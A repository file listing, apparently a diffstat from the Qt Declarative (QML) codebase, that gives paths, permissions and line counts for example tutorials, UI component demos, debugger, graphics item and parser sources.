-rw-r--r--examples/declarative/tutorials/samegame/samegame3/samegame.js174
-rw-r--r--examples/declarative/tutorials/samegame/samegame3/samegame.qml109
-rw-r--r--examples/declarative/tutorials/samegame/samegame3/samegame3.qmlproject16
-rw-r--r--examples/declarative/tutorials/samegame/samegame4/content/BoomBlock.qml122
-rw-r--r--examples/declarative/tutorials/samegame/samegame4/content/Button.qml81
-rw-r--r--examples/declarative/tutorials/samegame/samegame4/content/Dialog.qml107
-rw-r--r--examples/declarative/tutorials/samegame/samegame4/content/samegame.js225
-rw-r--r--examples/declarative/tutorials/samegame/samegame4/highscores/README1
-rw-r--r--examples/declarative/tutorials/samegame/samegame4/highscores/score_data.xml2
-rw-r--r--examples/declarative/tutorials/samegame/samegame4/highscores/score_style.xsl28
-rw-r--r--examples/declarative/tutorials/samegame/samegame4/highscores/scores.php31
-rw-r--r--examples/declarative/tutorials/samegame/samegame4/samegame.qml115
-rw-r--r--examples/declarative/tutorials/samegame/samegame4/samegame4.qmlproject16
-rw-r--r--examples/declarative/tutorials/samegame/shared/pics/background.jpgbin0 -> 36473 bytes
-rw-r--r--examples/declarative/tutorials/samegame/shared/pics/blueStar.pngbin0 -> 278 bytes
-rw-r--r--examples/declarative/tutorials/samegame/shared/pics/blueStone.pngbin0 -> 3054 bytes
-rw-r--r--examples/declarative/tutorials/samegame/shared/pics/greenStar.pngbin0 -> 273 bytes
-rw-r--r--examples/declarative/tutorials/samegame/shared/pics/greenStone.pngbin0 -> 2932 bytes
-rw-r--r--examples/declarative/tutorials/samegame/shared/pics/redStar.pngbin0 -> 274 bytes
-rw-r--r--examples/declarative/tutorials/samegame/shared/pics/redStone.pngbin0 -> 2902 bytes
-rw-r--r--examples/declarative/tutorials/samegame/shared/pics/star.pngbin0 -> 262 bytes
-rw-r--r--examples/declarative/tutorials/samegame/shared/pics/yellowStone.pngbin0 -> 3056 bytes
-rw-r--r--examples/declarative/tutorials/tutorials.pro5
-rw-r--r--examples/declarative/tutorials/tutorials.qmlproject16
-rw-r--r--examples/declarative/ui-components/dialcontrol/dialcontrol.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/ui-components/dialcontrol/dialcontrol.pro41
-rw-r--r--examples/declarative/ui-components/dialcontrol/dialcontrol.qmlproject16
-rw-r--r--examples/declarative/ui-components/dialcontrol/dialcontrol.svg93
-rw-r--r--examples/declarative/ui-components/dialcontrol/main.cpp54
-rw-r--r--examples/declarative/ui-components/dialcontrol/qml/dialcontrol/content/Dial.qml86
-rw-r--r--examples/declarative/ui-components/dialcontrol/qml/dialcontrol/content/QuitButton.qml52
-rw-r--r--examples/declarative/ui-components/dialcontrol/qml/dialcontrol/content/background.pngbin0 -> 35876 bytes
-rw-r--r--examples/declarative/ui-components/dialcontrol/qml/dialcontrol/content/needle.pngbin0 -> 342 bytes
-rw-r--r--examples/declarative/ui-components/dialcontrol/qml/dialcontrol/content/needle_shadow.pngbin0 -> 632 bytes
-rw-r--r--examples/declarative/ui-components/dialcontrol/qml/dialcontrol/content/overlay.pngbin0 -> 3564 bytes
-rw-r--r--examples/declarative/ui-components/dialcontrol/qml/dialcontrol/content/quit.pngbin0 -> 583 bytes
-rw-r--r--examples/declarative/ui-components/dialcontrol/qml/dialcontrol/dialcontrol.qml98
-rw-r--r--examples/declarative/ui-components/flipable/flipable.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/ui-components/flipable/flipable.pro41
-rw-r--r--examples/declarative/ui-components/flipable/flipable.qmlproject16
-rw-r--r--examples/declarative/ui-components/flipable/flipable.svg93
-rw-r--r--examples/declarative/ui-components/flipable/main.cpp54
-rw-r--r--examples/declarative/ui-components/flipable/qml/flipable/content/5_heart.pngbin0 -> 3872 bytes
-rw-r--r--examples/declarative/ui-components/flipable/qml/flipable/content/9_club.pngbin0 -> 6135 bytes
-rw-r--r--examples/declarative/ui-components/flipable/qml/flipable/content/Card.qml80
-rw-r--r--examples/declarative/ui-components/flipable/qml/flipable/content/back.pngbin0 -> 1418 bytes
-rw-r--r--examples/declarative/ui-components/flipable/qml/flipable/flipable.qml55
-rw-r--r--examples/declarative/ui-components/main/main.cpp54
-rw-r--r--examples/declarative/ui-components/main/main.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/ui-components/main/main.pro41
-rw-r--r--examples/declarative/ui-components/main/main.qmlproject16
-rw-r--r--examples/declarative/ui-components/main/main.svg93
-rw-r--r--examples/declarative/ui-components/main/qml/main/ScrollBar.qml74
-rw-r--r--examples/declarative/ui-components/main/qml/main/SearchBox.qml109
-rw-r--r--examples/declarative/ui-components/main/qml/main/TabWidget.qml102
-rw-r--r--examples/declarative/ui-components/main/qml/main/content/ProgressBar.qml83
-rw-r--r--examples/declarative/ui-components/main/qml/main/content/Spinner.qml70
-rw-r--r--examples/declarative/ui-components/main/qml/main/content/background.pngbin0 -> 426 bytes
-rw-r--r--examples/declarative/ui-components/main/qml/main/content/spinner-bg.pngbin0 -> 345 bytes
-rw-r--r--examples/declarative/ui-components/main/qml/main/content/spinner-select.pngbin0 -> 320 bytes
-rw-r--r--examples/declarative/ui-components/main/qml/main/images/clear.pngbin0 -> 429 bytes
-rw-r--r--examples/declarative/ui-components/main/qml/main/images/lineedit-bg-focus.pngbin0 -> 526 bytes
-rw-r--r--examples/declarative/ui-components/main/qml/main/images/lineedit-bg.pngbin0 -> 426 bytes
-rw-r--r--examples/declarative/ui-components/main/qml/main/main.qml99
-rw-r--r--examples/declarative/ui-components/main/qml/main/pics/niagara_falls.jpgbin0 -> 100161 bytes
-rw-r--r--examples/declarative/ui-components/main/qml/main/tab.pngbin0 -> 507 bytes
-rw-r--r--examples/declarative/ui-components/progressbar/main.cpp54
-rw-r--r--examples/declarative/ui-components/progressbar/progressbar.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/ui-components/progressbar/progressbar.pro41
-rw-r--r--examples/declarative/ui-components/progressbar/progressbar.qmlproject16
-rw-r--r--examples/declarative/ui-components/progressbar/progressbar.svg93
-rw-r--r--examples/declarative/ui-components/progressbar/qml/progressbar/content/ProgressBar.qml83
-rw-r--r--examples/declarative/ui-components/progressbar/qml/progressbar/content/background.pngbin0 -> 426 bytes
-rw-r--r--examples/declarative/ui-components/progressbar/qml/progressbar/main.qml73
-rw-r--r--examples/declarative/ui-components/scrollbar/main.cpp54
-rw-r--r--examples/declarative/ui-components/scrollbar/qml/scrollbar/ScrollBar.qml74
-rw-r--r--examples/declarative/ui-components/scrollbar/qml/scrollbar/main.qml93
-rw-r--r--examples/declarative/ui-components/scrollbar/qml/scrollbar/niagara_falls.jpgbin0 -> 100161 bytes
-rw-r--r--examples/declarative/ui-components/scrollbar/scrollbar.pro39
-rw-r--r--examples/declarative/ui-components/scrollbar/scrollbar.qmlproject16
-rw-r--r--examples/declarative/ui-components/scrollbar/scrollbar.svg93
-rw-r--r--examples/declarative/ui-components/scrollbar/scrollbar64.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/ui-components/scrollbar/scrollbar80.pngbin0 -> 4945 bytes
-rw-r--r--examples/declarative/ui-components/searchbox/main.cpp54
-rw-r--r--examples/declarative/ui-components/searchbox/qml/searchbox/SearchBox.qml109
-rw-r--r--examples/declarative/ui-components/searchbox/qml/searchbox/images/clear.pngbin0 -> 429 bytes
-rw-r--r--examples/declarative/ui-components/searchbox/qml/searchbox/images/lineedit-bg-focus.pngbin0 -> 526 bytes
-rw-r--r--examples/declarative/ui-components/searchbox/qml/searchbox/images/lineedit-bg.pngbin0 -> 426 bytes
-rw-r--r--examples/declarative/ui-components/searchbox/qml/searchbox/main.qml60
-rw-r--r--examples/declarative/ui-components/searchbox/searchbox.pro39
-rw-r--r--examples/declarative/ui-components/searchbox/searchbox.qmlproject16
-rw-r--r--examples/declarative/ui-components/searchbox/searchbox.svg93
-rw-r--r--examples/declarative/ui-components/searchbox/searchbox64.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/ui-components/searchbox/searchbox80.pngbin0 -> 4945 bytes
-rw-r--r--examples/declarative/ui-components/slideswitch/main.cpp54
-rw-r--r--examples/declarative/ui-components/slideswitch/qml/slideswitch/content/Switch.qml117
-rw-r--r--examples/declarative/ui-components/slideswitch/qml/slideswitch/content/background.svg23
-rw-r--r--examples/declarative/ui-components/slideswitch/qml/slideswitch/content/knob.svg867
-rw-r--r--examples/declarative/ui-components/slideswitch/qml/slideswitch/slideswitch.qml51
-rw-r--r--examples/declarative/ui-components/slideswitch/slideswitch.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/ui-components/slideswitch/slideswitch.pro41
-rw-r--r--examples/declarative/ui-components/slideswitch/slideswitch.qmlproject16
-rw-r--r--examples/declarative/ui-components/slideswitch/slideswitch.svg93
-rw-r--r--examples/declarative/ui-components/spinner/main.cpp54
-rw-r--r--examples/declarative/ui-components/spinner/qml/spinner/main.qml61
-rw-r--r--examples/declarative/ui-components/spinner/spinner.pro39
-rw-r--r--examples/declarative/ui-components/spinner/spinner.qmlproject16
-rw-r--r--examples/declarative/ui-components/spinner/spinner.svg93
-rw-r--r--examples/declarative/ui-components/spinner/spinner64.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/ui-components/spinner/spinner80.pngbin0 -> 4945 bytes
-rw-r--r--examples/declarative/ui-components/tabwidget/main.cpp54
-rw-r--r--examples/declarative/ui-components/tabwidget/qml/tabwidget/TabWidget.qml102
-rw-r--r--examples/declarative/ui-components/tabwidget/qml/tabwidget/main.qml99
-rw-r--r--examples/declarative/ui-components/tabwidget/qml/tabwidget/tab.pngbin0 -> 507 bytes
-rw-r--r--examples/declarative/ui-components/tabwidget/tabwidget.pro39
-rw-r--r--examples/declarative/ui-components/tabwidget/tabwidget.qmlproject16
-rw-r--r--examples/declarative/ui-components/tabwidget/tabwidget.svg93
-rw-r--r--examples/declarative/ui-components/tabwidget/tabwidget64.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/ui-components/tabwidget/tabwidget80.pngbin0 -> 4945 bytes
-rw-r--r--examples/declarative/ui-components/ui-components.pro11
-rw-r--r--examples/declarative/xml/xmlhttprequest-example/main.cpp54
-rw-r--r--examples/declarative/xml/xmlhttprequest-example/qml/xmlhttprequest-example/data.xml5
-rw-r--r--examples/declarative/xml/xmlhttprequest-example/qml/xmlhttprequest-example/xmlhttprequest-example.qml95
-rw-r--r--examples/declarative/xml/xmlhttprequest-example/xmlhttprequest.qmlproject16
-rw-r--r--examples/declarative/xml/xmlhttprequest-example/xmlhttprequestexample.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/xml/xmlhttprequest-example/xmlhttprequestexample.pro41
-rw-r--r--examples/declarative/xml/xmlhttprequest-example/xmlhttprequestexample.svg93
-rw-r--r--examples/declarative/xml/xmlhttprequest/xmlhttprequest-example.qml95
-rw-r--r--examples/declarative/xml/xmlhttprequest/xmlhttprequest.qmlproject16
-rw-r--r--examples/helper/qmlapplicationviewer/qmlapplicationviewer.cpp226
-rw-r--r--examples/helper/qmlapplicationviewer/qmlapplicationviewer.h77
-rw-r--r--examples/helper/qmlapplicationviewer/qmlapplicationviewer.pri156
-rw-r--r--examples/tutorials/gettingStarted/gsQml/core/button.qml108
-rw-r--r--examples/tutorials/gettingStarted/gsQml/core/editMenu.qml105
-rw-r--r--examples/tutorials/gettingStarted/gsQml/core/fileDialog.qml163
-rw-r--r--examples/tutorials/gettingStarted/gsQml/core/fileMenu.qml232
-rw-r--r--examples/tutorials/gettingStarted/gsQml/core/menuBar.qml147
-rw-r--r--examples/tutorials/gettingStarted/gsQml/core/qmldir49
-rw-r--r--examples/tutorials/gettingStarted/gsQml/core/textArea.qml87
-rw-r--r--examples/tutorials/gettingStarted/gsQml/filedialog/dialogPlugin.cpp54
-rw-r--r--examples/tutorials/gettingStarted/gsQml/filedialog/dialogPlugin.h57
-rw-r--r--examples/tutorials/gettingStarted/gsQml/filedialog/directory.cpp224
-rw-r--r--examples/tutorials/gettingStarted/gsQml/filedialog/directory.h107
-rw-r--r--examples/tutorials/gettingStarted/gsQml/filedialog/file.cpp57
-rw-r--r--examples/tutorials/gettingStarted/gsQml/filedialog/file.h67
-rw-r--r--examples/tutorials/gettingStarted/gsQml/filedialog/filedialog.pro17
-rw-r--r--examples/tutorials/gettingStarted/gsQml/filedialog/qmldir1
-rw-r--r--examples/tutorials/gettingStarted/gsQml/images/arrow.pngbin0 -> 583 bytes
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part0/Button.qml55
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part1/Button.qml97
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part1/EditMenu.qml76
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part1/FileMenu.qml91
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part1/SimpleButton.qml73
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part1/pics/qml-texteditor1_button.pngbin0 -> 1670 bytes
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part1/pics/qml-texteditor1_editmenu.pngbin0 -> 6177 bytes
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part1/pics/qml-texteditor1_filemenu.pngbin0 -> 6062 bytes
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part1/pics/qml-texteditor1_simplebutton.pngbin0 -> 1055 bytes
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part1/qml-texteditor.qmlproject16
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part2/Button.qml99
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part2/EditMenu.qml77
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part2/FileMenu.qml92
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part2/MenuBar.qml140
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part2/pics/qml-texteditor2_menubar.pngbin0 -> 6079 bytes
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part2/qml-texteditor2.qmlproject16
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part3/Button.qml99
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part3/EditMenu.qml77
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part3/FileMenu.qml92
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part3/MenuBar.qml140
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part3/TextArea.qml80
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part3/TextEditor.qml68
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part3/images/arrow.pngbin0 -> 583 bytes
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part3/pics/qml-texteditor3_texteditor.pngbin0 -> 59345 bytes
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part3/qml-texteditor3.qmlproject16
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part4/Button.qml109
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part4/EditMenu.qml81
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part4/FileMenu.qml96
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part4/MenuBar.qml146
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part4/SimpleButton.qml59
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part4/TextArea.qml80
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part4/TextEditor.qml146
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part4/images/arrow.pngbin0 -> 583 bytes
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part4/pics/qml-texteditor4_texteditor.pngbin0 -> 63629 bytes
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part4/qml-texteditor4.qmlproject16
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part5/TextEditor.qml127
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part5/core/Button.qml109
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part5/core/EditMenu.qml110
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part5/core/FileDialog.qml170
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part5/core/FileMenu.qml232
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part5/core/MenuBar.qml148
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part5/core/TextArea.qml86
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part5/core/qmldir13
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part5/filedialog/dialogPlugin.cpp57
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part5/filedialog/dialogPlugin.h57
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part5/filedialog/directory.cpp219
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part5/filedialog/directory.h108
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part5/filedialog/file.cpp56
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part5/filedialog/file.h67
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part5/filedialog/filedialog.pro17
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part5/filedialog/qmldir1
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part5/images/arrow.pngbin0 -> 583 bytes
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part5/pics/qml-texteditor5_editmenu.pngbin0 -> 65123 bytes
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part5/pics/qml-texteditor5_filemenu.pngbin0 -> 21367 bytes
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part5/pics/qml-texteditor5_newfile.pngbin0 -> 76693 bytes
-rw-r--r--examples/tutorials/gettingStarted/gsQml/parts/part5/qml-texteditor5.qmlproject18
-rw-r--r--examples/tutorials/gettingStarted/gsQml/pics/qml-texteditor5_editmenu.pngbin0 -> 65123 bytes
-rw-r--r--examples/tutorials/gettingStarted/gsQml/pics/qml-texteditor5_filemenu.pngbin0 -> 21367 bytes
-rw-r--r--examples/tutorials/gettingStarted/gsQml/pics/qml-texteditor5_newfile.pngbin0 -> 76693 bytes
-rw-r--r--examples/tutorials/gettingStarted/gsQml/texteditor.pro4
-rw-r--r--examples/tutorials/gettingStarted/gsQml/texteditor.qml132
-rw-r--r--src/declarative/QmlChanges.txt364
-rw-r--r--src/declarative/debugger/debugger.pri33
-rw-r--r--src/declarative/debugger/qdeclarativedebug.h67
-rw-r--r--src/declarative/debugger/qdeclarativedebugclient.cpp292
-rw-r--r--src/declarative/debugger/qdeclarativedebugclient_p.h103
-rw-r--r--src/declarative/debugger/qdeclarativedebuggerstatus.cpp54
-rw-r--r--src/declarative/debugger/qdeclarativedebuggerstatus_p.h68
-rw-r--r--src/declarative/debugger/qdeclarativedebughelper.cpp76
-rw-r--r--src/declarative/debugger/qdeclarativedebughelper_p.h73
-rw-r--r--src/declarative/debugger/qdeclarativedebugserver.cpp426
-rw-r--r--src/declarative/debugger/qdeclarativedebugserver_p.h91
-rw-r--r--src/declarative/debugger/qdeclarativedebugserverconnection_p.h74
-rw-r--r--src/declarative/debugger/qdeclarativedebugservice.cpp230
-rw-r--r--src/declarative/debugger/qdeclarativedebugservice_p.h96
-rw-r--r--src/declarative/debugger/qdeclarativedebugservice_p_p.h71
-rw-r--r--src/declarative/debugger/qdeclarativedebugtrace.cpp225
-rw-r--r--src/declarative/debugger/qdeclarativedebugtrace_p.h132
-rw-r--r--src/declarative/debugger/qdeclarativeenginedebug.cpp1068
-rw-r--r--src/declarative/debugger/qdeclarativeenginedebug_p.h387
-rw-r--r--src/declarative/debugger/qdeclarativeenginedebugservice.cpp747
-rw-r--r--src/declarative/debugger/qdeclarativeenginedebugservice_p.h134
-rw-r--r--src/declarative/debugger/qdeclarativeinspectorinterface_p.h69
-rw-r--r--src/declarative/debugger/qdeclarativeinspectorservice.cpp147
-rw-r--r--src/declarative/debugger/qdeclarativeinspectorservice_p.h93
-rw-r--r--src/declarative/debugger/qjsdebuggeragent.cpp614
-rw-r--r--src/declarative/debugger/qjsdebuggeragent_p.h229
-rw-r--r--src/declarative/debugger/qjsdebugservice.cpp259
-rw-r--r--src/declarative/debugger/qjsdebugservice_p.h123
-rw-r--r--src/declarative/debugger/qpacketprotocol.cpp557
-rw-r--r--src/declarative/debugger/qpacketprotocol_p.h127
-rw-r--r--src/declarative/declarative.pro43
-rw-r--r--src/declarative/graphicsitems/graphicsitems.pri94
-rw-r--r--src/declarative/graphicsitems/qdeclarativeanchors.cpp1165
-rw-r--r--src/declarative/graphicsitems/qdeclarativeanchors_p.h204
-rw-r--r--src/declarative/graphicsitems/qdeclarativeanchors_p_p.h170
-rw-r--r--src/declarative/graphicsitems/qdeclarativeanimatedimage.cpp404
-rw-r--r--src/declarative/graphicsitems/qdeclarativeanimatedimage_p.h116
-rw-r--r--src/declarative/graphicsitems/qdeclarativeanimatedimage_p_p.h87
-rw-r--r--src/declarative/graphicsitems/qdeclarativeborderimage.cpp623
-rw-r--r--src/declarative/graphicsitems/qdeclarativeborderimage_p.h109
-rw-r--r--src/declarative/graphicsitems/qdeclarativeborderimage_p_p.h106
-rw-r--r--src/declarative/graphicsitems/qdeclarativeevents.cpp237
-rw-r--r--src/declarative/graphicsitems/qdeclarativeevents_p_p.h141
-rw-r--r--src/declarative/graphicsitems/qdeclarativeflickable.cpp1805
-rw-r--r--src/declarative/graphicsitems/qdeclarativeflickable_p.h229
-rw-r--r--src/declarative/graphicsitems/qdeclarativeflickable_p_p.h244
-rw-r--r--src/declarative/graphicsitems/qdeclarativeflipable.cpp254
-rw-r--r--src/declarative/graphicsitems/qdeclarativeflipable_p.h100
-rw-r--r--src/declarative/graphicsitems/qdeclarativefocuspanel.cpp89
-rw-r--r--src/declarative/graphicsitems/qdeclarativefocuspanel_p.h78
-rw-r--r--src/declarative/graphicsitems/qdeclarativefocusscope.cpp73
-rw-r--r--src/declarative/graphicsitems/qdeclarativefocusscope_p.h69
-rw-r--r--src/declarative/graphicsitems/qdeclarativegraphicswidget.cpp125
-rw-r--r--src/declarative/graphicsitems/qdeclarativegraphicswidget_p.h90
-rw-r--r--src/declarative/graphicsitems/qdeclarativegridview.cpp3172
-rw-r--r--src/declarative/graphicsitems/qdeclarativegridview_p.h286
-rw-r--r--src/declarative/graphicsitems/qdeclarativeimage.cpp584
-rw-r--r--src/declarative/graphicsitems/qdeclarativeimage_p.h100
-rw-r--r--src/declarative/graphicsitems/qdeclarativeimage_p_p.h79
-rw-r--r--src/declarative/graphicsitems/qdeclarativeimagebase.cpp284
-rw-r--r--src/declarative/graphicsitems/qdeclarativeimagebase_p.h116
-rw-r--r--src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h93
-rw-r--r--src/declarative/graphicsitems/qdeclarativeimplicitsizeitem.cpp92
-rw-r--r--src/declarative/graphicsitems/qdeclarativeimplicitsizeitem_p.h100
-rw-r--r--src/declarative/graphicsitems/qdeclarativeimplicitsizeitem_p_p.h90
-rw-r--r--src/declarative/graphicsitems/qdeclarativeitem.cpp3759
-rw-r--r--src/declarative/graphicsitems/qdeclarativeitem.h234
-rw-r--r--src/declarative/graphicsitems/qdeclarativeitem_p.h624
-rw-r--r--src/declarative/graphicsitems/qdeclarativeitemchangelistener_p.h76
-rw-r--r--src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp261
-rw-r--r--src/declarative/graphicsitems/qdeclarativeitemsmodule_p.h63
-rw-r--r--src/declarative/graphicsitems/qdeclarativelayoutitem.cpp112
-rw-r--r--src/declarative/graphicsitems/qdeclarativelayoutitem_p.h94
-rw-r--r--src/declarative/graphicsitems/qdeclarativelistview.cpp3651
-rw-r--r--src/declarative/graphicsitems/qdeclarativelistview_p.h370
-rw-r--r--src/declarative/graphicsitems/qdeclarativeloader.cpp597
-rw-r--r--src/declarative/graphicsitems/qdeclarativeloader_p.h108
-rw-r--r--src/declarative/graphicsitems/qdeclarativeloader_p_p.h91
-rw-r--r--src/declarative/graphicsitems/qdeclarativemousearea.cpp988
-rw-r--r--src/declarative/graphicsitems/qdeclarativemousearea_p.h218
-rw-r--r--src/declarative/graphicsitems/qdeclarativemousearea_p_p.h128
-rw-r--r--src/declarative/graphicsitems/qdeclarativepainteditem.cpp497
-rw-r--r--src/declarative/graphicsitems/qdeclarativepainteditem_p.h118
-rw-r--r--src/declarative/graphicsitems/qdeclarativepainteditem_p_p.h90
-rw-r--r--src/declarative/graphicsitems/qdeclarativepath.cpp922
-rw-r--r--src/declarative/graphicsitems/qdeclarativepath_p.h286
-rw-r--r--src/declarative/graphicsitems/qdeclarativepath_p_p.h82
-rw-r--r--src/declarative/graphicsitems/qdeclarativepathview.cpp1729
-rw-r--r--src/declarative/graphicsitems/qdeclarativepathview_p.h252
-rw-r--r--src/declarative/graphicsitems/qdeclarativepathview_p_p.h192
-rw-r--r--src/declarative/graphicsitems/qdeclarativepincharea.cpp607
-rw-r--r--src/declarative/graphicsitems/qdeclarativepincharea_p.h313
-rw-r--r--src/declarative/graphicsitems/qdeclarativepincharea_p_p.h115
-rw-r--r--src/declarative/graphicsitems/qdeclarativepositioners.cpp1371
-rw-r--r--src/declarative/graphicsitems/qdeclarativepositioners_p.h233
-rw-r--r--src/declarative/graphicsitems/qdeclarativepositioners_p_p.h173
-rw-r--r--src/declarative/graphicsitems/qdeclarativerectangle.cpp587
-rw-r--r--src/declarative/graphicsitems/qdeclarativerectangle_p.h188
-rw-r--r--src/declarative/graphicsitems/qdeclarativerectangle_p_p.h112
-rw-r--r--src/declarative/graphicsitems/qdeclarativerepeater.cpp447
-rw-r--r--src/declarative/graphicsitems/qdeclarativerepeater_p.h110
-rw-r--r--src/declarative/graphicsitems/qdeclarativerepeater_p_p.h82
-rw-r--r--src/declarative/graphicsitems/qdeclarativescalegrid.cpp213
-rw-r--r--src/declarative/graphicsitems/qdeclarativescalegrid_p_p.h134
-rw-r--r--src/declarative/graphicsitems/qdeclarativetext.cpp1635
-rw-r--r--src/declarative/graphicsitems/qdeclarativetext_p.h211
-rw-r--r--src/declarative/graphicsitems/qdeclarativetext_p_p.h143
-rw-r--r--src/declarative/graphicsitems/qdeclarativetextedit.cpp1895
-rw-r--r--src/declarative/graphicsitems/qdeclarativetextedit_p.h305
-rw-r--r--src/declarative/graphicsitems/qdeclarativetextedit_p_p.h138
-rw-r--r--src/declarative/graphicsitems/qdeclarativetextinput.cpp2009
-rw-r--r--src/declarative/graphicsitems/qdeclarativetextinput_p.h304
-rw-r--r--src/declarative/graphicsitems/qdeclarativetextinput_p_p.h157
-rw-r--r--src/declarative/graphicsitems/qdeclarativetextlayout.cpp391
-rw-r--r--src/declarative/graphicsitems/qdeclarativetextlayout_p.h75
-rw-r--r--src/declarative/graphicsitems/qdeclarativetranslate.cpp125
-rw-r--r--src/declarative/graphicsitems/qdeclarativetranslate_p.h89
-rw-r--r--src/declarative/graphicsitems/qdeclarativevisualitemmodel.cpp1425
-rw-r--r--src/declarative/graphicsitems/qdeclarativevisualitemmodel_p.h257
-rw-r--r--src/declarative/qml/parser/parser.pri21
-rw-r--r--src/declarative/qml/parser/qdeclarativejs.g3149
-rw-r--r--src/declarative/qml/parser/qdeclarativejsast.cpp956
-rw-r--r--src/declarative/qml/parser/qdeclarativejsast_p.h2546
-rw-r--r--src/declarative/qml/parser/qdeclarativejsastfwd_p.h189
-rw-r--r--src/declarative/qml/parser/qdeclarativejsastvisitor.cpp58
-rw-r--r--src/declarative/qml/parser/qdeclarativejsastvisitor_p.h335
-rw-r--r--src/declarative/qml/parser/qdeclarativejsengine_p.cpp212
-rw-r--r--src/declarative/qml/parser/qdeclarativejsengine_p.h167
-rw-r--r--src/declarative/qml/parser/qdeclarativejsglobal_p.h64
-rw-r--r--src/declarative/qml/parser/qdeclarativejsgrammar.cpp989
-rw-r--r--src/declarative/qml/parser/qdeclarativejsgrammar_p.h210
-rw-r--r--src/declarative/qml/parser/qdeclarativejslexer.cpp1258
-rw-r--r--src/declarative/qml/parser/qdeclarativejslexer_p.h249
-rw-r--r--src/declarative/qml/parser/qdeclarativejsmemorypool_p.h133
-rw-r--r--src/declarative/qml/parser/qdeclarativejsnodepool_p.h139
-rw-r--r--src/declarative/qml/parser/qdeclarativejsparser.cpp1904
-rw-r--r--src/declarative/qml/parser/qdeclarativejsparser_p.h246
-rw-r--r--src/declarative/qml/qbitfield_p.h165
-rw-r--r--src/declarative/qml/qdeclarative.h415
-rw-r--r--src/declarative/qml/qdeclarativebinding.cpp573
-rw-r--r--src/declarative/qml/qdeclarativebinding_p.h193
-rw-r--r--src/declarative/qml/qdeclarativebinding_p_p.h85
-rw-r--r--src/declarative/qml/qdeclarativeboundsignal.cpp306
-rw-r--r--src/declarative/qml/qdeclarativeboundsignal_p.h103
-rw-r--r--src/declarative/qml/qdeclarativecleanup.cpp87
-rw-r--r--src/declarative/qml/qdeclarativecleanup_p.h79
-rw-r--r--src/declarative/qml/qdeclarativecompiledbindings.cpp2921
-rw-r--r--src/declarative/qml/qdeclarativecompiledbindings_p.h116
-rw-r--r--src/declarative/qml/qdeclarativecompileddata.cpp255
-rw-r--r--src/declarative/qml/qdeclarativecompiler.cpp3129
-rw-r--r--src/declarative/qml/qdeclarativecompiler_p.h351
-rw-r--r--src/declarative/qml/qdeclarativecomponent.cpp1086
-rw-r--r--src/declarative/qml/qdeclarativecomponent.h132
-rw-r--r--src/declarative/qml/qdeclarativecomponent_p.h161
-rw-r--r--src/declarative/qml/qdeclarativecontext.cpp774
-rw-r--r--src/declarative/qml/qdeclarativecontext.h114
